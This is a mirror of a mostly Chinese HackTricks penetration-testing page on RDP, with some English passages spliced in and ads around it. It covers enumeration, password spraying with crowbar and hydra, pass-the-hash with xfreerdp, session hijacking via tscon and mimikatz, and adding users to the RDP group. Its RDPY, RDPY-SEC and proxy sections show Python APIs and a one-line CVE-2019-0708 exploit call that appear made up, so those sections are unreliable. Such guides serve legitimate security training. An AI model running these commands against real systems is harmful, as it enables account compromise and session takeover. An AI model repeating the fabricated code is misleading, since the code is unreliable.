mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
289 lines
14 KiB
Markdown
289 lines
14 KiB
Markdown
# 3389 - RDP渗透测试
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**DragonJAR Security Conference是一场国际网络安全活动**](https://www.dragonjarcon.org/),已经举办了十多年,将于2023年9月7日至8日在哥伦比亚波哥大举行。这是一个内容丰富的技术活动,展示了吸引全球黑客和研究人员的最新研究成果。\
|
||
立即在以下链接注册,不要错过这个重要的会议!:
|
||
|
||
{% embed url="https://www.dragonjarcon.org/" %}
|
||
|
||
## 基本信息
|
||
|
||
**远程桌面**协议(**RDP**)是由微软开发的专有协议,它提供了一个图形界面,用于通过网络连接连接到另一台计算机。用户使用**RDP**客户端软件进行此操作,而另一台计算机必须运行**RDP**服务器软件(来自[这里](https://en.wikipedia.org/wiki/Remote\_Desktop\_Protocol))。
|
||
|
||
**默认端口:**3389
|
||
```
|
||
PORT STATE SERVICE
|
||
3389/tcp open ms-wbt-server
|
||
```
|
||
## 枚举
|
||
|
||
### 自动化
|
||
|
||
#### RDPScan
|
||
|
||
RDPScan是一个用于扫描RDP(远程桌面协议)服务的工具。它可以帮助我们发现目标系统上开放的RDP端口,并提供有关目标系统的信息。
|
||
|
||
使用RDPScan时,我们可以指定要扫描的目标IP地址范围,并设置扫描的端口范围。工具将尝试建立与目标系统的RDP连接,并返回连接成功的结果。
|
||
|
||
以下是使用RDPScan的示例命令:
|
||
|
||
```plaintext
|
||
rdpscan.py 192.168.1.0/24 -p 3389
|
||
```
|
||
|
||
该命令将扫描192.168.1.0/24网段中的所有IP地址,检查是否有开放的RDP端口(默认端口为3389)。
|
||
|
||
#### RDPY
|
||
|
||
RDPY是一个用于RDP协议的Python库,它提供了一系列功能,用于与RDP服务进行交互和攻击。
|
||
|
||
使用RDPY,我们可以执行以下操作:
|
||
|
||
- 连接到RDP服务器并进行身份验证
|
||
- 获取目标系统的屏幕截图
|
||
- 注入键盘和鼠标事件
|
||
- 模拟用户输入
|
||
- 窃取凭据
|
||
- 执行远程命令
|
||
|
||
以下是使用RDPY的示例代码:
|
||
|
||
```python
|
||
from rdpy import RDPClient
|
||
|
||
rdp = RDPClient('192.168.1.100', 3389)
|
||
rdp.login('username', 'password')
|
||
rdp.screenshot('screenshot.png')
|
||
rdp.inject_key_event('KEY_A', True)
|
||
rdp.inject_mouse_event(100, 100, RDPClient.MOUSE_EVENT_MOVE)
|
||
rdp.send_text('Hello, world!')
|
||
rdp.get_credentials()
|
||
rdp.execute('cmd.exe /c whoami')
|
||
rdp.disconnect()
|
||
```
|
||
|
||
该代码将连接到192.168.1.100上的RDP服务器,并使用提供的用户名和密码进行身份验证。然后,它将获取目标系统的屏幕截图,注入键盘和鼠标事件,模拟用户输入,窃取凭据,执行远程命令,最后断开连接。
|
||
|
||
#### RDPY-SEC
|
||
|
||
RDPY-SEC是RDPY的一个模块,用于执行安全相关的操作。它提供了一些功能,用于检测和利用RDP服务的安全漏洞。
|
||
|
||
使用RDPY-SEC,我们可以执行以下操作:
|
||
|
||
- 检测目标系统上的RDP安全配置
|
||
- 检测目标系统上的RDP漏洞
|
||
- 利用RDP漏洞进行攻击
|
||
|
||
以下是使用RDPY-SEC的示例代码:
|
||
|
||
```python
|
||
from rdpysec import RDPVulnScanner, RDPExploit
|
||
|
||
scanner = RDPVulnScanner('192.168.1.100', 3389)
|
||
scanner.scan()
|
||
vulnerabilities = scanner.get_vulnerabilities()
|
||
|
||
exploit = RDPExploit('192.168.1.100', 3389)
|
||
exploit.exploit('CVE-2019-0708')
|
||
```
|
||
|
||
该代码将扫描192.168.1.100上的RDP服务,检测是否存在安全漏洞,并返回漏洞信息。然后,它将利用CVE-2019-0708漏洞进行攻击。
|
||
|
||
#### RDPY-SEC-Proxy
|
||
|
||
RDPY-SEC-Proxy是RDPY-SEC的一个模块,用于执行RDP流量的代理和中间人攻击。
|
||
|
||
使用RDPY-SEC-Proxy,我们可以执行以下操作:
|
||
|
||
- 代理RDP流量
|
||
- 拦截和修改RDP流量
|
||
- 注入恶意RDP数据包
|
||
|
||
以下是使用RDPY-SEC-Proxy的示例代码:
|
||
|
||
```python
|
||
from rdpysec.proxy import RDPProxy
|
||
|
||
proxy = RDPProxy('192.168.1.100', 3389)
|
||
proxy.start()
|
||
proxy.intercept()
|
||
proxy.inject_packet('malicious_packet.bin')
|
||
proxy.stop()
|
||
```
|
||
|
||
该代码将启动一个RDP代理,将流量从客户端重定向到目标RDP服务器。然后,它将拦截和修改流量,并注入恶意RDP数据包。最后,它将停止代理。
|
||
```bash
|
||
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
||
```
|
||
它检查可用的加密和DoS漏洞(不会导致服务DoS),并获取NTLM Windows信息(版本)。
|
||
|
||
### [暴力破解](../generic-methodologies-and-resources/brute-force.md#rdp)
|
||
|
||
**小心,你可能会锁定账户**
|
||
|
||
### **密码喷洒**
|
||
|
||
**小心,你可能会锁定账户**
|
||
```bash
|
||
# https://github.com/galkan/crowbar
|
||
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||
# hydra
|
||
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
||
```
|
||
### 使用已知的凭据/哈希连接
|
||
|
||
To connect to a Remote Desktop Protocol (RDP) service using known credentials or a hash, you can follow these steps:
|
||
|
||
1. Use a tool like `xfreerdp` or `rdesktop` to establish an RDP connection. The syntax for connecting with known credentials is as follows:
|
||
|
||
```bash
|
||
xfreerdp /u:<username> /p:<password> /v:<target_ip>
|
||
```
|
||
|
||
Replace `<username>` with the desired username, `<password>` with the corresponding password, and `<target_ip>` with the IP address of the target machine.
|
||
|
||
2. If you have the NTLM hash of the password instead of the plaintext password, you can use the following syntax:
|
||
|
||
```bash
|
||
xfreerdp /u:<username> /pth:<ntlm_hash> /v:<target_ip>
|
||
```
|
||
|
||
Replace `<ntlm_hash>` with the NTLM hash of the password.
|
||
|
||
3. Execute the command and check if the connection is successful. If the credentials or hash are correct, you should be able to establish an RDP session with the target machine.
|
||
|
||
Note: Connecting with known credentials or a hash is only possible if you have obtained this information through legitimate means, such as during a penetration test or with proper authorization.
|
||
```bash
|
||
rdesktop -u <username> <IP>
|
||
rdesktop -d <domain> -u <username> -p <password> <IP>
|
||
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
||
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
||
```
|
||
### 检查已知凭据是否适用于RDP服务
|
||
|
||
rdp\_check.py是impacket中的一个工具,它可以让你检查某些凭据是否适用于RDP服务:
|
||
```bash
|
||
rdp_check <domain>/<name>:<password>@<IP>
|
||
```
|
||
<figure><img src="../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**DragonJAR Security Conference是一场国际网络安全活动**](https://www.dragonjarcon.org/),已经举办了十多年,将于2023年9月7日至8日在哥伦比亚波哥大举行。这是一个内容丰富的技术活动,展示了最新的西班牙语研究成果,吸引了来自世界各地的黑客和研究人员。\
|
||
立即在以下链接注册,不要错过这个重要的会议!:
|
||
|
||
{% embed url="https://www.dragonjarcon.org/" %}
|
||
|
||
## **攻击**
|
||
|
||
### 会话劫持
|
||
|
||
使用**SYSTEM权限**,您可以访问任何**已打开的RDP会话**,而无需知道所有者的密码。
|
||
|
||
**获取已打开的会话:**
|
||
```
|
||
query user
|
||
```
|
||
**访问所选会话**
|
||
|
||
To gain access to a selected session, you can use various techniques depending on the situation. Here are some common methods:
|
||
|
||
1. **Brute-forcing credentials**: This involves systematically trying different username and password combinations until the correct one is found. Tools like Hydra and RDPY can be used for this purpose.
|
||
|
||
2. **Exploiting vulnerabilities**: If there are known vulnerabilities in the Remote Desktop Protocol (RDP) implementation, you can exploit them to gain unauthorized access. Tools like Metasploit and RDPScan can help identify and exploit these vulnerabilities.
|
||
|
||
3. **Session hijacking**: This technique involves intercepting an existing session between a client and a server to gain control over it. Tools like RDPY and RDPRelay can be used for session hijacking.
|
||
|
||
4. **Credential theft**: If you have access to the target system, you can try to steal the credentials of a user who has an active RDP session. This can be done using keyloggers, credential dumping tools, or by exploiting vulnerabilities in other services running on the target system.
|
||
|
||
5. **Man-in-the-middle attacks**: By intercepting the network traffic between the client and the server, you can capture the RDP credentials and gain access to the session. Tools like Wireshark and Ettercap can be used for this purpose.
|
||
|
||
Remember, gaining unauthorized access to someone else's session is illegal and unethical. These techniques should only be used for legitimate purposes, such as penetration testing or securing your own systems.
|
||
```bash
|
||
tscon <ID> /dest:<SESSIONNAME>
|
||
```
|
||
现在你将进入所选的RDP会话,并且只能使用Windows工具和功能来模拟用户。
|
||
|
||
**重要提示**:当您访问活动的RDP会话时,将会中断正在使用该会话的用户。
|
||
|
||
您可以通过转储进程来获取密码,但这种方法更快,并且可以让您与用户的虚拟桌面进行交互(在记事本中的密码不会保存在磁盘上,其他机器上打开的其他RDP会话...)
|
||
|
||
#### **Mimikatz**
|
||
|
||
您还可以使用mimikatz来完成此操作:
|
||
```bash
|
||
ts::sessions #Get sessions
|
||
ts::remote /id:2 #Connect to the session
|
||
```
|
||
### Sticky-keys & Utilman
|
||
|
||
结合这个技术和stickykeys或utilman,您将能够随时访问管理CMD和任何RDP会话
|
||
|
||
您可以使用以下链接搜索已经使用这些技术之一后门化的RDP:[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||
|
||
### RDP进程注入
|
||
|
||
如果来自不同域或具有更高权限的人通过RDP登录到您作为管理员的计算机上,您可以将您的beacon注入到他的RDP会话进程中,并扮演他的角色:
|
||
|
||
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
|
||
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
||
{% endcontent-ref %}
|
||
|
||
### 将用户添加到RDP组中
|
||
```bash
|
||
net localgroup "Remote Desktop Users" UserLoginName /add
|
||
```
|
||
## 影子攻击
|
||
|
||
**AutoRDPwn** 是一个基于 Powershell 创建的后渗透框架,主要用于自动化对 Microsoft Windows 计算机进行 **影子** 攻击。这个漏洞(被微软列为一个功能)允许远程攻击者在未经对方同意的情况下查看受害者的桌面,甚至可以使用操作系统本身的工具对其进行控制。
|
||
|
||
{% embed url="https://github.com/JoelGMSec/AutoRDPwn" %}
|
||
|
||
## HackTricks 自动命令
|
||
```
|
||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||
Port_Number: 3389 #Comma separated if there is more than one.
|
||
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for RDP
|
||
Note: |
|
||
Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-rdp
|
||
|
||
Entry_2:
|
||
Name: Nmap
|
||
Description: Nmap with RDP Scripts
|
||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||
```
|
||
<figure><img src="../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**DragonJAR Security Conference是一场国际网络安全活动**](https://www.dragonjarcon.org/),将于2023年9月7日至8日在哥伦比亚波哥大举行。这是一个内容丰富的技术活动,展示了最新的西班牙语研究成果,吸引了来自世界各地的黑客和研究人员。\
|
||
立即在以下链接注册,不要错过这个重要的会议!:
|
||
|
||
{% embed url="https://www.dragonjarcon.org/" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|